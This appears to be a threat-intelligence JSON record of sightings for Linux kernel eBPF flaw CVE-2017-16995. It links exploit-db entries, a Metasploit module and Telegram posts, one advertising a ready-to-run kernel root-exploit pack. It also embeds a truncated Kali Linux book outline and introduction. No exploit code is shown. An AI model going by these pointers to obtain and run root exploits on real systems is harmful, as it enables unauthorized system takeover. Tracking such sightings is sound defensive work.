{"vulnerability": "CVE-2017-16995", "sightings": [{"uuid": "b346635f-dc76-40ee-818f-b15da7788745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16995", "type": "seen", "source": "MISP/2f583ac9-e77e-4a80-9a6b-fb2e9829f4be", "content": "", "creation_timestamp": "2020-10-09T15:59:09.000000Z"}, {"uuid": "dc8aa10f-cb65-42e4-8589-f73790bb6c9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16995", "type": "exploited", "source": "https://www.exploit-db.com/exploits/45010", "content": "", "creation_timestamp": "2018-07-10T00:00:00.000000Z"}, {"uuid": "04088483-5a5f-43ae-ab7a-42b79fe0a494", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16995", "type": "exploited", "source": "https://www.exploit-db.com/exploits/45058", "content": "", "creation_timestamp": "2018-07-19T00:00:00.000000Z"}, {"uuid": "b7ba386f-e322-4156-84b0-f58b6c6fb8b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16995", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:43.000000Z"}, {"uuid": "6fb4b37f-176f-4736-8201-262b4bbc5da0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16995", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:09:55.000000Z"}, {"uuid": "6b287171-1b31-443f-bf3c-2088e7f4093c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16995", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb", "content": "", "creation_timestamp": "2018-07-18T11:41:19.000000Z"}, {"uuid": "beac0749-60ef-419e-a985-c44d5567b1e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16995", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:00:49.000000Z"}, {"uuid": "cce2f904-9b99-4009-9b4f-fdb9f6fe7101", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16995", "type": "seen", "source": "https://gist.github.com/aw-junaid/ae4d93f4a6b7d5e657e92315bcfa005c", "content": "", "creation_timestamp": "2026-02-21T18:37:39.000000Z"}, {"uuid": "fc57b577-c519-4f3d-90c0-1cef1cf29c27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16995", "type": "published-proof-of-concept", "source": "Telegram/YcfXdMgRtkNjukIf1CY5pbxQWn6oSWUdMMnTGXs7flLtog", "content": "", "creation_timestamp": "2025-08-07T04:14:52.000000Z"}, {"uuid": "d0e3dd91-691d-4496-94cc-a4209fb6ac04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16995", "type": "published-proof-of-concept", "source": "Telegram/lGYbLck6G7m7DaRiRxfjxEzwq5qsYzU-Axb6YLGnEcc6ewQ", "content": "", "creation_timestamp": "2025-08-12T21:00:04.000000Z"}, {"uuid": "89409e30-db88-4e8d-b7d3-e4e5f02a62b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16995", "type": "seen", "source": "Telegram/TXmZ8EBGvdc4uufvEqu6hfgyjEc7K_gjD1Jpp8Uzvu6-KK0", "content": "", "creation_timestamp": "2023-03-23T09:18:19.000000Z"}, {"uuid": "c0341a48-555d-4232-9ee3-693da93befa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16995", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/1427", "content": "kernel-linux-factory\n*\n\u0423\u0434\u043e\u0431\u043d\u043e \u0442\u0435\u043c, \u0447\u0442\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u0441\u0440\u0435\u0434\u0443, \u0433\u043b\u044f\u043d\u0443\u043b \u043a\u0430\u043a\u043e\u0435 \u044f\u0434\u0440\u043e, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u0441\u043f\u043b\u043e\u0435\u0442, \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043f\u043e \u043c\u043e\u0440\u0434\u0435 #root\n*\n\u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0435 exploits \u0434\u043b\u044f:\nCVE-2016-9793\n4-20-BPF-integer\nCVE-2017-5123\nCVE-2017-6074\nCVE-2017-7308\nCVE-2017-8890\nCVE-2017-11176\nCVE-2017-16995\nCVE-2017-1000112\nCVE-2018-5333\nCVE-2019-9213 &amp; CVE-2019-8956\nCVE-2019-15666\nCVE-2020-8835\nCVE-2020-27194\nCVE-2021-3156\nCVE-2021-31440\nCVE-2021-3490\nCVE-2021-22555\nCVE-2021-41073\nCVE-2021-4154\nCVE-2021-42008\nCVE-2021-43267\nCVE-2022-0185\nCVE-2022-0847\nCVE-2022-0995\nCVE-2022-1015\nCVE-2022-2588\nCVE-2022-2639\nCVE-2022-25636\nCVE-2022-27666\nCVE-2022-32250\nCVE-2022-34918\n\ndownload\n\n#linux #exploits #kernel", "creation_timestamp": "2023-03-23T06:30:43.000000Z"}, {"uuid": "b7c04390-c1ab-44f7-8b3b-1b6912115788", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16995", "type": "published-proof-of-concept", "source": "https://t.me/canyoupwnme/4095", "content": "eBPF and Analysis of the get-rekt-linux-hardened.c Exploit for CVE-2017-16995\nhttps://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html", "creation_timestamp": "2018-07-11T17:11:02.000000Z"}, {"uuid": "1f051ee4-6e31-4bdb-b310-ca721ebd97a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-16995", "type": "seen", "source": "https://gist.github.com/bbrk364/bc351cd0161bb1e78ccad6cea46bb150", "content": "# **Kali Linux Professional: From Foundations to Advanced Offensive Security**\n\n\n\n# PART I \u2014 FOUNDATIONS OF KALI LINUX\n\n## Chapter 1 \u2014 Introduction to Kali Linux\n\n* History of Kali Linux\n* Evolution from BackTrack\n* Philosophy and Design Principles\n* Kali Linux vs Other Security Distributions\n* Kali Linux Editions and Architectures\n* Use Cases: Pentesting, Red Teaming, Forensics, Research\n* Legal and Ethical Considerations\n* Setting Up a Lab Environment\n\n---\n\n## Chapter 2 \u2014 Installing Kali Linux\n\n* System Requirements\n* Downloading from Offensive Security\n* Verifying ISO Integrity (SHA256, GPG)\n* Installation Methods:\n\n  * Bare Metal\n  * Dual Boot\n  * Encrypted Install\n  * LVM Setup\n* Installing on:\n\n  * VirtualBox\n  * VMware Workstation\n  * Proxmox VE\n* Live USB &amp; Persistence\n* ARM Installation (Raspberry Pi)\n* Post-Installation Configuration\n\n---\n\n## Chapter 3 \u2014 Linux Fundamentals for Security Professionals\n\n* Linux File System Hierarchy\n* Users, Groups &amp; Permissions\n* File Permissions &amp; ACLs\n* Process Management\n* Package Management (APT &amp; DPKG)\n* Networking Basics in Linux\n* Bash Shell Mastery\n* SSH Configuration &amp; Hardening\n\n---\n\n## Chapter 4 \u2014 Kali Linux Architecture\n\n* Debian Base and Rolling Release Model\n* Package Repositories\n* Metapackages\n* Kali Tool Categories\n* Kernel Customizations\n* Security Policies\n* System Logging &amp; Monitoring\n\n---\n\n# PART II \u2014 CORE LINUX &amp; SHELL MASTERY\n\n## Chapter 5 \u2014 Bash and Shell Scripting\n\n* Shell Fundamentals\n* Variables &amp; Environment\n* Loops &amp; Conditionals\n* Functions\n* Error Handling\n* Automating Recon\n* Writing Custom Enumeration Scripts\n* Building Security Tool Wrappers\n\n---\n\n## Chapter 6 \u2014 Advanced Linux Administration\n\n* System Hardening\n* Firewall Configuration (iptables, nftables)\n* Service Management (systemd)\n* Log Analysis\n* Cron Jobs &amp; Automation\n* SELinux &amp; AppArmor\n* Kernel Tuning\n\n---\n\n## Chapter 7 \u2014 Networking Deep Dive\n\n* TCP/IP Stack Internals\n* Subnetting &amp; CIDR\n* DNS Internals\n* DHCP\n* ARP Mechanics\n* VLANs\n* IPv6\n* Packet Analysis Fundamentals\n\n---\n\n# PART III \u2014 INFORMATION GATHERING &amp; RECONNAISSANCE\n\n## Chapter 8 \u2014 Passive Reconnaissance\n\n* OSINT Methodology\n* WHOIS Enumeration\n* DNS Enumeration\n* Email Harvesting\n* Subdomain Discovery\n* Social Media Intelligence\n* Metadata Analysis\n* Google Dorking\n\n---\n\n## Chapter 9 \u2014 Active Reconnaissance\n\n* Network Discovery\n* Port Scanning\n* Service Detection\n* Banner Grabbing\n* OS Fingerprinting\n* Vulnerability Scanning\n\nTools Covered:\n\n* Nmap\n* Masscan\n* Amass\n* theHarvester\n\n---\n\n# PART IV \u2014 VULNERABILITY ANALYSIS\n\n## Chapter 10 \u2014 Vulnerability Assessment Methodology\n\n* CVSS Framework\n* Risk Scoring\n* Reporting Standards\n* False Positive Handling\n\n---\n\n## Chapter 11 \u2014 Vulnerability Scanners\n\n* Configuration &amp; Tuning\n* Authenticated Scanning\n* Scan Optimization\n* Report Analysis\n\nTools:\n\n* OpenVAS\n* Nessus\n\n---\n\n# PART V \u2014 WEB APPLICATION SECURITY\n\n## Chapter 12 \u2014 Web Fundamentals\n\n* HTTP/HTTPS Internals\n* Cookies &amp; Sessions\n* REST APIs\n* Authentication Models\n* JWT\n\n---\n\n## Chapter 13 \u2014 Web Vulnerabilities\n\n* SQL Injection\n* XSS\n* CSRF\n* SSRF\n* IDOR\n* File Upload Attacks\n* Command Injection\n* Template Injection\n* Authentication Bypass\n\n---\n\n## Chapter 14 \u2014 Web Exploitation Tools\n\n* Burp Suite\n* OWASP ZAP\n* SQLmap\n* Gobuster\n* Dirsearch\n\n---\n\n# PART VI \u2014 EXPLOITATION\n\n## Chapter 15 \u2014 Exploit Development Basics\n\n* Buffer Overflows\n* Stack vs Heap\n* Shellcode Basics\n* Return Oriented Programming\n* Bypassing ASLR &amp; DEP\n\n---\n\n## Chapter 16 \u2014 Metasploit Framework\n\n* Architecture\n* Modules\n* Payloads\n* Encoders\n* Post Modules\n* Writing Custom Modules\n\nTool:\n\n* Metasploit Framework\n\n---\n\n## Chapter 17 \u2014 Manual Exploitation Techniques\n\n* Exploit Research\n* CVE Reproduction\n* Privilege Escalation (Linux)\n* Privilege Escalation (Windows)\n* Password Attacks\n\nTools:\n\n* Hydra\n* John the Ripper\n* Hashcat\n\n---\n\n# PART VII \u2014 WIRELESS &amp; NETWORK ATTACKS\n\n## Chapter 18 \u2014 Wireless Security\n\n* 802.11 Protocols\n* WPA2/WPA3\n* Capturing Handshakes\n* Evil Twin Attacks\n* Deauthentication\n\nTool:\n\n* Aircrack-ng\n\n---\n\n## Chapter 19 \u2014 Network Attacks\n\n* ARP Spoofing\n* DNS Spoofing\n* MITM\n* SMB Attacks\n* NTLM Relay\n\nTool:\n\n* Wireshark\n\n---\n\n# PART VIII \u2014 POST-EXPLOITATION\n\n## Chapter 20 \u2014 Maintaining Access\n\n* Persistence Techniques\n* Reverse Shells\n* Pivoting &amp; Tunneling\n* Lateral Movement\n* Credential Dumping\n\n---\n\n## Chapter 21 \u2014 Red Team Operations\n\n* Command &amp; Control\n* OPSEC\n* Evasion Techniques\n* Living Off the Land\n* Detection Bypass\n\n---\n\n# PART IX \u2014 DIGITAL FORENSICS\n\n## Chapter 22 \u2014 Forensics Fundamentals\n\n* Evidence Handling\n* Chain of Custody\n* Disk Imaging\n* Memory Analysis\n\n---\n\n## Chapter 23 \u2014 Forensics Tools\n\n* Autopsy\n* Volatility\n\n---\n\n# PART X \u2014 REVERSE ENGINEERING &amp; MALWARE ANALYSIS\n\n## Chapter 24 \u2014 Reverse Engineering Basics\n\n* Assembly Language\n* Static Analysis\n* Dynamic Analysis\n* Debugging\n\nTools:\n\n* Ghidra\n* Radare2\n\n---\n\n## Chapter 25 \u2014 Malware Analysis Lab\n\n* Sandbox Setup\n* Behavioral Analysis\n* Packing &amp; Obfuscation\n* Indicators of Compromise\n\n---\n\n# PART XI \u2014 CLOUD &amp; CONTAINER SECURITY\n\n## Chapter 26 \u2014 Cloud Security Testing\n\n* AWS Enumeration\n* Azure Misconfigurations\n* GCP Attacks\n\n---\n\n## Chapter 27 \u2014 Container Security\n\n* Docker Enumeration\n* Kubernetes Exploitation\n* Escape Techniques\n\n---\n\n# PART XII \u2014 PROFESSIONAL PRACTICE\n\n## Chapter 28 \u2014 Reporting &amp; Documentation\n\n* Executive Summary Writing\n* Technical Reporting\n* Remediation Guidance\n* Risk Communication\n\n---\n\n## Chapter 29 \u2014 Certifications &amp; Career\n\n* Offensive Security Certifications\n* OSCP Preparation\n* Red Team Career Path\n* Building a Lab Portfolio\n\n---\n\n# APPENDICES\n\n* Kali Tool Index (300+ tools categorized)\n* Common Linux Commands Cheat Sheet\n* Privilege Escalation Checklist\n* Web Testing Checklist\n* Wireless Testing Checklist\n* Reporting Templates\n* Glossary\n* CVE Research Guide\n* Lab Exercises &amp; Scenarios\n* Real-World Case Studies\n\n---\n\n\n# PART I \u2014 FOUNDATIONS OF KALI LINUX\n\n## Chapter 1 \u2014 Introduction to Kali Linux\n\n### 1.1 The Genesis of Kali Linux\n\nKali Linux, developed and maintained by Offensive Security, represents the culmination of over a decade of evolution in the penetration testing distribution space. To truly understand Kali Linux, we must first explore its rich history and the philosophical foundations that make it the industry standard for security professionals worldwide.\n\n#### 1.1.1 History of Kali Linux\n\nThe story of Kali Linux begins with its predecessor, BackTrack Linux. BackTrack was formed in 2006 through the merger of three prominent security-focused distributions: WHAX (formerly Whoppix), Auditor Security Collection, and SLAX. Each of these distributions brought unique strengths to the table:\n\n**Whoppix (WhiteHat Knoppix)** was one of the first live CD distributions focused on security auditing. Based on Knoppix, it provided a portable environment for penetration testers who needed to conduct assessments without installing software on their host systems.\n\n**Auditor Security Collection**, developed by Max Moser, focused on providing a comprehensive collection of security tools with particular emphasis on wireless security testing. Its user-friendly approach made security testing more accessible to newcomers.\n\n**SLAX** contributed the modular architecture that would later become crucial for BackTrack's success. Its ability to load modules dynamically allowed for greater flexibility in tool deployment.\n\nThe merger created BackTrack, which would go through five major versions between 2006 and 2012. Each version refined the user experience and expanded the toolset:\n\n- **BackTrack 1 (2006)**: The initial release focused on stability and tool integration\n- **BackTrack 2 (2007)**: Introduced improved hardware support and additional wireless drivers\n- **BackTrack 3 (2008)**: Brought significant kernel updates and the introduction of the GNOME desktop environment\n- **BackTrack 4 (2009)**: Major architectural overhaul based on Ubuntu, improved package management\n- **BackTrack 5 (2011)**: Final release before Kali, introduced both GNOME and KDE versions, added support for ARM devices\n\n#### 1.1.2 Evolution from BackTrack to Kali\n\nThe transition from BackTrack to Kali Linux in March 2013 represented more than just a rebranding effort. It was a complete reimagining of what a penetration testing distribution should be. Mati Aharoni (muts) and Devon Kearns (dookie), core developers of BackTrack, recognized several fundamental limitations in BackTrack's architecture:\n\n**Debian Foundation**: While BackTrack was based on Ubuntu, Kali switched to Debian's stable branch. This decision provided several advantages:\n- Greater stability due to Debian's rigorous testing process\n- Better alignment with enterprise environments that often run Debian-based systems\n- Access to Debian's vast package repositories\n- More predictable release cycles\n\n**Filesystem Hierarchy Standard (FHS) Compliance**: BackTrack had developed a custom directory structure that sometimes confused users familiar with standard Linux layouts. Kali adopted full FHS compliance, making it more intuitive for experienced Linux users.\n\n**Single User Root by Default**: Kali introduced the controversial but security-conscious decision to operate as root by default. This design choice acknowledged that penetration testing tools often require elevated privileges, and constantly using sudo would impede workflow. However, this decision also emphasized that Kali should only be used in controlled environments.\n\n**Custom Kernel with Wireless Injection Patches**: Kali's kernel included patches for wireless injection that weren't available in the mainline kernel. This was crucial for wireless penetration testing but required users to understand the legal implications of using such capabilities.\n\n### 1.2 Philosophy and Design Principles\n\nKali Linux is built upon a set of core principles that guide every aspect of its development and usage:\n\n#### 1.2.1 Single User Root Philosophy\n\nThe decision to operate as root by default wasn't made lightly. It stems from practical considerations in penetration testing:\n\n- Many security tools require raw socket access, which necessitates root privileges\n- Network interface manipulation for monitoring mode requires elevated permissions\n- Access to system files and processes during exploitation and post-exploitation phases\n- Streamlined workflow without constant authentication prompts\n\nHowever, this design choice comes with important caveats:\n- Users must understand they're operating with full system privileges\n- Mistakes can have catastrophic consequences\n- The system should never be used for everyday tasks like browsing or email\n- Network services are disabled by default to reduce attack surface\n\n#### 1.2.2 Tool Integration and Organization\n\nKali's approach to tool integration reflects deep understanding of penetration testing workflows:\n\n**Tool Categorization**: Tools are organized not just by name, but by their role in the penetration testing lifecycle. The Kali menu structure mirrors the typical phases of an assessment:\n- Information Gathering\n- Vulnerability Analysis\n- Web Application Analysis\n- Database Assessment\n- Password Attacks\n- Wireless Attacks\n- Reverse Engineering\n- Exploitation Tools\n- Sniffing &amp; Spoofing\n- Post Exploitation\n- Forensics\n- Reporting Tools\n\n**Metapackages**: Rather than forcing users to install every tool, Kali uses metapackages to group related tools. This allows users to install only what they need while maintaining dependencies. Key metapackages include:\n- `kali-linux-headless`: For server installations without GUI\n- `kali-linux-large`: Extended toolset for comprehensive assessments\n- `kali-linux-full`: Complete toolset including all tools\n- `kali-linux-wireless`: All wireless testing tools\n- `kali-linux-web`: Web application testing tools\n- `kali-linux-pwt`: Password cracking tools\n- `kali-linux-forensic`: Digital forensics tools\n\n#### 1.2.3 Rolling Release Model\n\nKali adopted a rolling release model based on Debian Testing for compelling reasons:\n\n**Tool Currency**: Security tools evolve rapidly, with new exploits and techniques emerging constantly. A rolling release ensures users have access to the latest versions without waiting for distribution upgrades.\n\n**Immediate Updates**: When critical vulnerabilities are discovered or new exploitation techniques emerge, updates can be pushed immediately rather than waiting for scheduled releases.\n\n**Balance of Stability and Freshness**: By tracking Debian Testing rather than Unstable, Kali maintains reasonable stability while keeping packages current. Critical system components undergo additional testing before inclusion.\n\n### 1.3 Kali Linux vs Other Security Distributions\n\nUnderstanding Kali's position in the security distribution ecosystem helps users make informed choices about their tools:\n\n#### 1.3.1 Parrot Security OS\n\nParrot, based on Debian Testing like Kali, offers an alternative approach:\n\n**Key Differences**:\n- Default non-root operation (more secure for daily use)\n- Lighter resource footprint\n- Stronger focus on anonymity and privacy tools\n- Built-in Tor and I2P integration\n- More comprehensive forensics capabilities\n- Regular release cycle vs Kali's rolling releases\n\n**Use Cases**: Parrot excels in situations where the testing system might be used for other purposes, or where operational security requires non-default configurations.\n\n#### 1.3.2 BlackArch\n\nBlackArch takes a different approach entirely, building upon Arch Linux:\n\n**Key Characteristics**:\n- Massive tool repository (over 2500 tools)\n- True rolling release with absolutely latest versions\n- Arch Linux's DIY philosophy requires more manual configuration\n- Smaller user community but extremely knowledgeable\n- Can be installed as additional repository on existing Arch\n\n**Use Cases**: Ideal for experienced Linux users who want absolute control and the latest tools, willing to invest time in configuration.\n\n#### 1.3.3 Pentoo\n\nPentoo builds upon Gentoo Linux:\n\n**Key Features**:\n- Source-based distribution with maximum optimization\n- Hardened kernel with PaX and grsecurity\n- Extreme customizability\n- Steep learning curve\n- Excellent performance on specific hardware\n\n**Use Cases**: Performance-critical applications where hardware optimization matters more than ease of use.\n\n#### 1.3.4 Commando VM\n\nMicrosoft's Windows-based security distribution:\n\n**Key Characteristics**:\n- Windows environment for testing Windows-specific scenarios\n- Pre-configured with tools that run natively on Windows\n- Integration with Windows administrative tools\n- PowerShell-centric workflow\n- Limited to Windows ecosystems\n\n**Use Cases**: Assessments targeting Windows environments exclusively, or when Windows-specific tools are required.\n\n### 1.4 Kali Linux Editions and Architectures\n\nKali's flexibility extends to multiple editions designed for different use cases:\n\n#### 1.4.1 Standard Edition\n\nThe flagship edition provides a complete desktop environment with all tools pre-installed:\n\n**Desktop Environments**:\n- Xfce (default since 2020): Lightweight and fast\n- GNOME: Traditional full-featured desktop\n- KDE Plasma: Modern, customizable interface\n- MATE: Classic desktop experience\n- LXDE: Ultra-lightweight option\n\n**Architecture Support**:\n- 64-bit (amd64): Primary platform\n- 32-bit (i386): Legacy system support\n- ARM: Embedded and mobile devices\n\n#### 1.4.2 Kali Linux Light\n\nDesigned for resource-constrained environments:\n\n**Optimizations**:\n- Minimal window manager (Openbox)\n- Only essential tools pre-installed\n- Reduced RAM footprint\n- Faster boot times\n- Ideal for virtual machines with limited resources\n\n#### 1.4.3 Kali Linux ARM\n\nComprehensive ARM support distinguishes Kali from competitors:\n\n**Supported Platforms**:\n- Raspberry Pi (all models)\n- BeagleBone Black\n- Odroid\n- CuBox\n- Chromebooks\n- Samsung ARM Chromebook\n- NVIDIA Jetson\n- Pine64\n- Galaxy Note devices\n- Various Android phones (via chroot)\n\n**Special Considerations**:\n- Optimized kernels for each platform\n- Hardware-specific drivers\n- Power management configurations\n- GPIO support for hardware hacking\n\n#### 1.4.4 Kali Linux NetHunter\n\nMobile penetration testing platform for Android devices:\n\n**Core Components**:\n- Custom kernel with wireless injection\n- Kali chroot environment\n- NetHunter app for attack management\n- HID attacks (keyboard emulation)\n- BadUSB attacks\n- MANA Evil Access Point\n- Bluetooth attacks\n- SDR support\n\n**Hardware Requirements**:\n- Rooted Android device\n- Custom kernel support\n- External wireless adapter support\n- OTG cable for external devices\n\n#### 1.4.5 Kali Linux on Windows Subsystem for Linux (WSL)\n\nRecent addition enabling Kali on Windows:\n\n**Capabilities**:\n- Full Kali toolset on Windows 10/11\n- Integration with Windows filesystem\n- GUI application support (WSLg)\n- No dual-boot or VM overhead\n- Limited hardware access (no raw wireless)\n\n### 1.5 Use Cases: Pentesting, Red Teaming, Forensics, Research\n\nUnderstanding Kali's various applications helps users leverage the right tools for their specific needs:\n\n#### 1.5.1 Penetration Testing (Ethical Hacking)\n\nThe primary use case for Kali involves authorized security assessments:\n\n**Typical Engagement Phases**:\n1. **Reconnaissance**: Gathering information about targets using OSINT and active scanning\n2. **Scanning**: Identifying open ports, services, and vulnerabilities\n3. **Exploitation**: Gaining unauthorized access through identified vulnerabilities\n4. **Post-Exploitation**: Maintaining access, gathering intelligence, pivoting\n5. **Reporting**: Documenting findings and remediation recommendations\n\n**Tool Categories Used**:\n- Reconnaissance: Nmap, Maltego, theHarvester\n- Vulnerability Analysis: OpenVAS, Nikto, WPScan\n- Exploitation: Metasploit, BeEF, SQLmap\n- Post-Exploitation: Mimikatz, PowerShell Empire\n\n#### 1.5.2 Red Teaming\n\nAdvanced adversarial simulation focusing on evading detection:\n\n**Key Differences from Pentesting**:\n- No advance warning to defenders\n- Focus on stealth and evasion\n- Emphasis on custom tooling and TTPs\n- Testing detection and response capabilities\n- Longer engagement duration\n\n**Specialized Tools**:\n- C2 Frameworks: Cobalt Strike, Covenant, Mythic\n- Evasion: Veil, Shellter, PEzor\n- Privilege Escalation: LinPEAS, WinPEAS\n- Lateral Movement: CrackMapExec, Impacket\n\n#### 1.5.3 Digital Forensics\n\nKali includes extensive forensics capabilities:\n\n**Forensics Features**:\n- Bootable forensics mode (no automount)\n- Write-blocking utilities\n- Disk imaging tools (dd, dc3dd, guymager)\n- File carving tools (foremost, scalpel)\n- Memory analysis (Volatility, Rekall)\n- Timeline analysis (sleuthkit, autopsy)\n\n**Forensics Workflow**:\n1. Acquisition: Creating forensically sound images\n2. Analysis: Examining file systems and artifacts\n3. Recovery: Carving deleted files\n4. Reporting: Documenting findings for legal proceedings\n\n#### 1.5.4 Security Research\n\nKali provides an excellent platform for security research:\n\n**Research Areas**:\n- Vulnerability research and exploit development\n- Malware analysis and reverse engineering\n- Protocol analysis and fuzzing\n- Hardware security research\n- Cryptographic analysis\n\n**Research-Oriented Tools**:\n- Reverse Engineering: Ghidra, Radare2, GDB\n- Fuzzing: AFL, Radamsa, Boofuzz\n- Binary Analysis: Binwalk, Capstone, Angr\n- Hardware Tools: HackRF, RTL-SDR, Logic analyzers\n\n### 1.6 Legal and Ethical Considerations\n\nUnderstanding the legal framework surrounding penetration testing is crucial for every Kali user:\n\n#### 1.6.1 Legal Framework\n\n**Authorization Requirements**:\n- Written authorization from system owners\n- Clearly defined scope and limitations\n- Rules of engagement documentation\n- Insurance and liability considerations\n- Compliance with local, national, and international laws\n\n**Relevant Laws**:\n- Computer Fraud and Abuse Act (CFAA) - USA\n- Computer Misuse Act - UK\n- Cybersecurity Law - China\n- GDPR - EU (data protection)\n- Various state and local computer crime laws\n\n**Industry Regulations**:\n- PCI DSS for payment card environments\n- HIPAA for healthcare data\n- GLBA for financial institutions\n- SOX for publicly traded companies\n- FISMA for government systems\n\n#### 1.6.2 Professional Ethics\n\nBeyond legal requirements, ethical considerations guide professional conduct:\n\n**Core Ethical Principles**:\n- Do no harm to systems or data\n- Maintain confidentiality of findings\n- Act within authorized scope only\n- Report all findings honestly\n- Protect client data and privacy\n- Maintain professional competence\n\n**Professional Organizations and Codes**:\n- (ISC)\u00b2 Code of Ethics\n- ISACA Code of Professional Ethics\n- EC-Council Code of Ethics\n- OWASP Principles\n- SANS Institute Ethics\n\n#### 1.6.3 Responsible Disclosure\n\nWhen vulnerabilities are discovered, responsible disclosure protects users:\n\n**Disclosure Process**:\n1. Verify the vulnerability exists\n2. Contact the vendor privately\n3. Allow reasonable time for fixes\n4. Coordinate public disclosure\n5. Provide clear remediation guidance\n6. Avoid publishing exploit code until patches are available\n\n**Disclosure Timeframes**:\n- 30-45 days typical for active vendors\n- 45-90 days for complex fixes\n- Immediate disclosure for actively exploited zero-days\n- Extended timeframes for critical infrastructure\n\n### 1.7 Setting Up a Lab Environment\n\nA proper lab environment is essential for learning and practicing Kali Linux safely:\n\n#### 1.7.1 Lab Design Considerations\n\n**Network Architecture**:\n- Isolated network segments\n- Multiple subnets for practice scenarios\n- Firewall rules between segments\n- Internet access control\n- Monitoring and logging infrastructure\n\n**Target Systems**:\n- Various operating systems (Windows, Linux, macOS)\n- Different versions and patch levels\n- Vulnerable applications intentionally\n- Network services (web, database, mail)\n- Active Directory domains\n- Cloud environments\n\n**Safety Measures**:\n- Network isolation from production\n- Snapshots for quick recovery\n- Regular backups of configurations\n- Documented network topology\n- Clean-up procedures\n\n#### 1.7.2 Virtual Lab Platforms\n\n**VMware Workstation/Player**:\n- Professional-grade virtualization\n- Excellent networking capabilities\n- Snapshot functionality\n- Clone and template support\n- 3D acceleration for GUI systems\n\n**VirtualBox**:\n- Free and open-source\n- Cross-platform compatibility\n- Good for beginners\n- Adequate for most scenarios\n- Weaker performance than VMware\n\n**Proxmox VE**:\n- Enterprise-grade virtualization\n- Web-based management\n- Container support (LXC)\n- Clustering capabilities\n- Backup and restore features\n\n**Docker and Containers**:\n- Lightweight environments\n- Fast deployment\n- Perfect for service simulation\n- Limited to Linux-based targets\n- No GUI by default\n\n#### 1.7.3 Hardware Lab Options\n\n**Physical Hardware**:\n- Multiple computers or servers\n- Network equipment (switches, routers)\n- Wireless access points\n- IoT devices\n- Embedded systems\n\n**Advantages of Physical Labs**:\n- Real-world hardware behavior\n- No virtualization overhead\n- Physical interfaces available\n- Wireless testing possibilities\n- Hardware hacking opportunities\n\n**Disadvantages**:\n- Higher cost\n- Space requirements\n- Power consumption\n- Physical maintenance\n- Difficult to reset/restore\n\n#### 1.7.4 Cloud-Based Labs\n\n**AWS Options**:\n- EC2 instances for targets\n- VPC for network isolation\n- AMI images for quick deployment\n- Auto-scaling for large scenarios\n- Cost based on usage\n\n**Azure Lab Services**:\n- Managed lab environments\n- Template-based deployment\n- User management\n- Cost tracking\n- Integration with Active Directory\n\n**DigitalOcean**:\n- Simple droplet deployment\n- Affordable pricing\n- Fast provisioning\n- API-driven automation\n- Limited isolation options\n\n#### 1.7.5 Vulnerable Target Options\n\n**Purpose-Built Vulnerable VMs**:\n- Metasploitable 2 and 3\n- OWASP Broken Web Applications\n- VulnHub machines\n- HackTheBox machines\n- PentesterLab challenges\n\n**Vulnerable Web Applications**:\n- Damn Vulnerable Web Application (DVWA)\n- WebGoat and WebWolf\n- bWAPP\n- Mutillidae\n- Hackazon\n\n**Active Directory Labs**:\n- BadBlood (automated AD lab)\n- DetectionLab\n- GOAD (Game of Active Directory)\n- Automated AD lab scripts\n- Custom domain controllers\n\n#### 1.7.6 Sample Lab Setup: Comprehensive 